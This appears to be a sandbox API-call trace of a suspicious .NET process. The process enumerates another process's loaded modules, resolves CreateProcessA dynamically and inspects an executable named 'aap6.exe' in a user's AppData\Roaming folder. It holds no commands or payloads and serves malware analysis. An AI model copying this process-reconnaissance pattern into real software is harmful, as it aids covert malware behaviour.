	[0116.127] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.127] GetLastError () returned 0xcb
	[0116.127] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x2533440, cb=0xc | out: lpmodinfo=0x2533440*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.128] GetLastError () returned 0xcb
	[0116.128] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.128] GetLastError () returned 0xcb
	[0116.128] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.128] GetLastError () returned 0xcb
	[0116.128] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x2534544, cb=0xc | out: lpmodinfo=0x2534544*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.128] GetLastError () returned 0xcb
	[0116.128] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.129] GetLastError () returned 0xcb
	[0116.129] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.129] GetLastError () returned 0xcb
	[0116.129] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x2535640, cb=0xc | out: lpmodinfo=0x2535640*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.129] GetLastError () returned 0xcb
	[0116.129] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.129] GetLastError () returned 0xcb
	[0116.130] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.130] GetLastError () returned 0xcb
	[0116.130] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x253673c, cb=0xc | out: lpmodinfo=0x253673c*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.130] GetLastError () returned 0xcb
	[0116.130] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.130] GetLastError () returned 0xcb
	[0116.130] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.131] GetLastError () returned 0xcb
	[0116.131] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x2537888, cb=0xc | out: lpmodinfo=0x2537888*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.131] GetLastError () returned 0xcb
	[0116.131] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.131] GetLastError () returned 0xcb
	[0116.131] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.132] GetLastError () returned 0xcb
	[0116.132] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x2538984, cb=0xc | out: lpmodinfo=0x2538984*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.132] GetLastError () returned 0xcb
	[0116.132] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.132] GetLastError () returned 0xcb
	[0116.132] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.132] GetLastError () returned 0xcb
	[0116.132] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x2539a88, cb=0xc | out: lpmodinfo=0x2539a88*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.133] GetLastError () returned 0xcb
	[0116.133] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.133] GetLastError () returned 0xcb
	[0116.133] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.133] GetLastError () returned 0xcb
	[0116.133] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x253abc0, cb=0xc | out: lpmodinfo=0x253abc0*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.133] GetLastError () returned 0xcb
	[0116.133] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.134] GetLastError () returned 0xcb
	[0116.134] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.134] GetLastError () returned 0xcb
	[0116.134] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x253bcbc, cb=0xc | out: lpmodinfo=0x253bcbc*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.134] GetLastError () returned 0xcb
	[0116.134] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.135] GetLastError () returned 0xcb
	[0116.135] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.135] GetLastError () returned 0xcb
	[0116.135] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x253cdb0, cb=0xc | out: lpmodinfo=0x253cdb0*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.135] GetLastError () returned 0xcb
	[0116.135] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.135] GetLastError () returned 0xcb
	[0116.136] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.136] GetLastError () returned 0xcb
	[0116.136] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x253deac, cb=0xc | out: lpmodinfo=0x253deac*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.136] GetLastError () returned 0xcb
	[0116.136] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.136] GetLastError () returned 0xcb
	[0116.136] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.137] GetLastError () returned 0xcb
	[0116.137] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x253ef98, cb=0xc | out: lpmodinfo=0x253ef98*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.137] GetLastError () returned 0xcb
	[0116.137] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.137] GetLastError () returned 0xcb
	[0116.137] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.138] GetLastError () returned 0xcb
	[0116.138] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x254011c, cb=0xc | out: lpmodinfo=0x254011c*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.138] GetLastError () returned 0xcb
	[0116.138] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.138] GetLastError () returned 0xcb
	[0116.138] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.139] GetLastError () returned 0xcb
	[0116.139] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x2541210, cb=0xc | out: lpmodinfo=0x2541210*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.139] GetLastError () returned 0xcb
	[0116.139] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.139] GetLastError () returned 0xcb
	[0116.140] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.140] GetLastError () returned 0xcb
	[0116.140] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x2542304, cb=0xc | out: lpmodinfo=0x2542304*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.140] GetLastError () returned 0xcb
	[0116.140] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.140] GetLastError () returned 0xcb
	[0116.141] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.141] GetLastError () returned 0xcb
	[0116.141] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x254343c, cb=0xc | out: lpmodinfo=0x254343c*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.141] GetLastError () returned 0xcb
	[0116.141] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.142] GetLastError () returned 0xcb
	[0116.142] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.142] GetLastError () returned 0xcb
	[0116.142] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x25445d0, cb=0xc | out: lpmodinfo=0x25445d0*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.142] GetLastError () returned 0xcb
	[0116.142] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.143] GetLastError () returned 0xcb
	[0116.143] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.143] GetLastError () returned 0xcb
	[0116.143] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x25456cc, cb=0xc | out: lpmodinfo=0x25456cc*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.143] GetLastError () returned 0xcb
	[0116.143] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.144] GetLastError () returned 0xcb
	[0116.144] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.144] GetLastError () returned 0xcb
	[0116.144] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x25467c0, cb=0xc | out: lpmodinfo=0x25467c0*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.145] GetLastError () returned 0xcb
	[0116.145] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.145] GetLastError () returned 0xcb
	[0116.145] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.145] GetLastError () returned 0xcb
	[0116.145] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x25478bc, cb=0xc | out: lpmodinfo=0x25478bc*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.146] GetLastError () returned 0xcb
	[0116.146] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.146] GetLastError () returned 0xcb
	[0116.146] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.147] GetLastError () returned 0xcb
	[0116.147] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x2548a54, cb=0xc | out: lpmodinfo=0x2548a54*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.147] GetLastError () returned 0xcb
	[0116.147] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.148] GetLastError () returned 0xcb
	[0116.148] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.148] GetLastError () returned 0xcb
	[0116.148] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x2549b50, cb=0xc | out: lpmodinfo=0x2549b50*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.149] GetLastError () returned 0xcb
	[0116.149] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.149] GetLastError () returned 0xcb
	[0116.149] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.150] GetLastError () returned 0xcb
	[0116.150] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x254ac88, cb=0xc | out: lpmodinfo=0x254ac88*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.150] GetLastError () returned 0xcb
	[0116.150] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.151] GetLastError () returned 0xcb
	[0116.151] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.151] GetLastError () returned 0xcb
	[0116.151] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x254be14, cb=0xc | out: lpmodinfo=0x254be14*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.152] GetLastError () returned 0xcb
	[0116.152] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.152] GetLastError () returned 0xcb
	[0116.152] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.153] GetLastError () returned 0xcb
	[0116.153] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x254cff8, cb=0xc | out: lpmodinfo=0x254cff8*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.153] GetLastError () returned 0xcb
	[0116.153] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.153] GetLastError () returned 0xcb
	[0116.154] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.154] GetLastError () returned 0xcb
	[0116.154] CloseHandle (hObject=0x1ec) returned 1
	[0116.154] GetLastError () returned 0xcb
	[0116.157] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0xc753e913, Data2=0xb449, Data3=0x4bd7, Data4=([0]=0xbd, [1]=0x3, [2]=0xf1, [3]=0xc3, [4]=0x30, [5]=0xa9, [6]=0x66, [7]=0x2))) returned 0x0
	[0116.164] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0x592c562f, Data2=0xe800, Data3=0x4432, Data4=([0]=0xa4, [1]=0xf5, [2]=0x49, [3]=0xeb, [4]=0xa7, [5]=0x85, [6]=0x3, [7]=0x3f))) returned 0x0
	[0116.173] GetProcAddress (hModule=0x75fb0000, lpProcName="CreateProcessA") returned 0x75fc1072
	[0116.180] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.180] GetLastError () returned 0xcb
	[0116.180] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x2559704, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x2559704, lpcbNeeded=0x3ee204) returned 1
	[0116.180] GetLastError () returned 0xcb
	[0116.181] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x2559844, cb=0xc | out: lpmodinfo=0x2559844*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.181] GetLastError () returned 0xcb
	[0116.181] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.181] GetLastError () returned 0xcb
	[0116.181] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.181] GetLastError () returned 0xcb
	[0116.181] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x255a974, cb=0xc | out: lpmodinfo=0x255a974*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.181] GetLastError () returned 0xcb
	[0116.181] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.181] GetLastError () returned 0xcb
	[0116.181] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.182] GetLastError () returned 0xcb
	[0116.182] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x255ba68, cb=0xc | out: lpmodinfo=0x255ba68*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.182] GetLastError () returned 0xcb
	[0116.182] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.182] GetLastError () returned 0xcb
	[0116.182] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.182] GetLastError () returned 0xcb
	[0116.182] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x255cb64, cb=0xc | out: lpmodinfo=0x255cb64*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.182] GetLastError () returned 0xcb
	[0116.182] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.182] GetLastError () returned 0xcb
	[0116.183] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.183] GetLastError () returned 0xcb
	[0116.183] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x255dc68, cb=0xc | out: lpmodinfo=0x255dc68*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.183] GetLastError () returned 0xcb
	[0116.183] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.183] GetLastError () returned 0xcb
	[0116.183] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.183] GetLastError () returned 0xcb
	[0116.183] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x255eda4, cb=0xc | out: lpmodinfo=0x255eda4*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.183] GetLastError () returned 0xcb
	[0116.184] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.184] GetLastError () returned 0xcb
	[0116.184] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.184] GetLastError () returned 0xcb
	[0116.184] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x255fea8, cb=0xc | out: lpmodinfo=0x255fea8*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.184] GetLastError () returned 0xcb
	[0116.184] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.184] GetLastError () returned 0xcb
	[0116.184] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.185] GetLastError () returned 0xcb
	[0116.185] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x2560fa4, cb=0xc | out: lpmodinfo=0x2560fa4*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.185] GetLastError () returned 0xcb
	[0116.185] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.185] GetLastError () returned 0xcb
	[0116.185] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.185] GetLastError () returned 0xcb
